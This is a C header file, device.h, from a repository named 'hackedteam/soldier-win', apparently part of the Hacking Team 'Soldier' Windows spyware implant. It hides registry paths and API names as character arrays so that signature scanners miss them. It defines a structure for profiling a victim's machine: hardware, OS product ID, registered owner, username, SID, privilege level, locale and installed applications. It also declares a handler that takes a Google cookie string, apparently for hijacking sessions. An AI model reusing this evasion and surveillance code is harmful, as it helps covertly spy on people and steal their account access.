hackedteam/soldier-win

View on GitHub
Soldier/device.h

Summary

Maintainability
Test Coverage
#include <Windows.h>

#ifndef _DEVICE_H
#define _DEVICE_H

#define SOFTW_MICROS_WINNT_CURRVER { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L' ', L'N', L'T', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define HWD_DESC_SYS_CENTRALPROC_0 { L'H', L'A', L'R', L'D', L'W', L'A', L'R', L'E', L'\\', L'D', L'E', L'S', L'C', L'R', L'I', L'P', L'T', L'I', L'O', L'N', L'\\', L'S', L'y', L's', L't', L'e', L'm', L'\\', L'C', L'e', L'n', L't', L'r', L'a', L'l', L'P', L'r', L'o', L'c', L'e', L's', L's', L'o', L'r', '\\', '0', L'\0' };
#define SYSTEM_CURRCON_CONTROL_TIMEZONE { L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l', L'S', L'e', L't', L'\\', L'C', L'o', L'n', L't', L'r', L'o', L'l', L'\\', L'T', L'i', L'm', L'e', L'Z', L'o', L'n', L'e', L'I', L'n', L'f', L'o', L'r', L'm', L'a', L't', L'i', L'o', L'n', L'\0', };
#define SOFTWARE_MICROSOFT_WIN_CURR_UNINSTALL { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\\', L'U', L'n', L'i', L'n', L's', L't', L'a', L'l', L'l', L'\0' };
#define SOFTWARE_MICROSOFT_WINNT_CURR_TIMEZONES { L'S', L'O', L'F', L'T', L'W', L'A', L'R', L'E', L'\\', L'M', L'i', L'c', L'r', L'o', L's', L'o', L'f', L't', L'\\', L'W', L'i', L'n', L'd', L'o', L'w', L's', L' ', L'N', L'T', L'\\', L'C', L'u', L'r', L'r', L'e', L'n', L't', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\\', L'T', L'i', L'm', L'e', L' ', L'Z', L'o', L'n', L'e', L's', L'\0' };

#define PROCESSOR_NAME_STRING { L'P', L'r', L'o', L'c', L'e', L's', L's', L'o', L'r', L'N', L'a', L'm', L'e', L'S', L't', L'r', L'i', L'n', L'g', L'\0' };
#define PRODUCT_NAME { L'P', L'r', L'o', L'd', L'u', L'c', L't', L'N', L'a', L'm', L'e', L'\0' };
#define CSD_VERSION { L'C', L'S', L'D', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define PRODUCT_ID { L'P', L'r', L'o', L'd', L'u', L'c', L't', L'I', L'd', L'\0' };
#define REGISTERED_OWNER { L'R', L'e', L'g', L'i', L's', L't', L'e', L'r', L'e', L'd', L'O', L'w', L'n', L'e', L'r', L'\0' };
#define REGISTERED_ORG { L'R', L'e', L'g', L'i', L's', L't', L'e', L'r', L'e', L'd', L'O', L'r', L'g', L'a', L'n', L'i', L'z', L'a', L't', L'i', L'o', L'n', L'\0' };
#define ACTIVE_TIME_BIAS { L'A', L'c', L't', L'i', L'v', L'e', L'T', L'i', L'm', L'e', L'B', L'i', L'a', L's', L'\0' };
#define PARENT_KEY_NAME { 'P', L'a', L'r', L'e', L'n', L't', L'K', L'e', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define SYSTEM_COMPONENT { L'S', L'y', L's', L't', L'e', L'm', L'C', L'o', L'm', L'p', L'o', L'n', L'e', L'n', L't', L'\0' };
#define DISPLAY_NAME { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define DISPLAY_VERSION { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'V', L'e', L'r', L's', L'i', L'o', L'n', L'\0' };
#define TMZ_KEY_NAME { L'T', L'i', L'm', L'e', L'Z', L'o', L'n', L'e', L'K', L'e', L'y', L'N', L'a', L'm', L'e', L'\0' };
#define TMZ_DESCRIPTION { L'D', L'i', L's', L'p', L'l', L'a', L'y', L'\0' };

#define NETAPI32 { L'N', L'e', L't', L'a', L'p', L'i', L'3', L'2', L'\0' };
#define NETUSERGETINFO { L'N', L'e', L't', L'U', L's', L'e', L'r', L'G', L'e', L't', L'I', L'n', L'f', L'o', L'\0' };
#define NETAPIBUFFERFREE { 'N', 'e', 't', 'A', 'p', 'i', 'B', 'u', 'f', 'f', 'e', 'r', 'F', 'r', 'e', 'e', 0x0 };
#define GETDISKFREESPACEEX { 'G', 'e', 't', 'D', 'i', 's', 'k', 'F', 'r', 'e', 'e', 'S', 'p', 'a', 'c', 'e', 'E', 'x', 'W', 0x0 };

#define APPLICATION_LIST_X86 { L'A', L'p', L'p', L'l', L'i', L'c', L'a', L't', L'i', L'o', L'n', L' ', L'L', L'i', L's', L't', L' ', L'(', L'x', L'8', L'6', L')', L':', L'\n', L'\n', L'\0' }
#define APPLICATION_LIST_X64 { L'A', L'p', L'p', L'l', L'i', L'c', L'a', L't', L'i', L'o', L'n', L' ', L'L', L'i', L's', L't', L' ', L'(', L'x', L'6', L'4', L')', L':', L'\n', L'\n', L'\0' }

typedef struct _DEVICE_INFO
{
    struct {
        WCHAR proc[128];        // Processor description
        ULONG procnum;            // Number of processors
    } procinfo;
    struct {
        ULONG memtotal;            // Total physical memory (MB)
        ULONG memfree;            // Free physical memory (MB)
        DWORD memload;            // Memory load percentage
    } meminfo;
    struct {
        WCHAR ver[64];            // Windows version description
        WCHAR sp[64];            // Windows service pack description
        WCHAR id[64];            // Windows product ID
        WCHAR owner[64];        // Registered owner
        WCHAR org[64];            // Registered organization
    } osinfo;
    struct {
        WCHAR username[64];        // Name
        WCHAR fullname[64];        // Fullname
        WCHAR sid[64];            // SID
        ULONG priv;                // Privilege level (USER_PRIV_GUEST, USER_PRIV_USER, USER_PRIV_ADMIN)
    } userinfo;
    struct {
        ULONG timebias;            // Time bias from UTC (min)
        WCHAR lang[16];            // Language name
        WCHAR country[16];        // Country name
        WCHAR timezone[128];     // timezone description
    } localinfo;
    struct {
        ULONG disktotal;        // Total disk space (MB)
        ULONG diskfree;            // Free disk space (MB)
    } diskinfo;
} DEVICE_INFO, *PDEVICE_INFO;

typedef struct _DEVICE_CONTAINER
{
    ULONG uSize;
    LPWSTR pDataBuffer;
} DEVICE_CONTAINER, *PDEVICE_CONTAINER;

VOID GetDeviceInfo();
LPWSTR GetAppList();
VOID IsX64System(PBOOL bIsWow64, PBOOL bIsx64OS);
DWORD GoogleDeviceHandler(LPSTR pszCookie);

#endif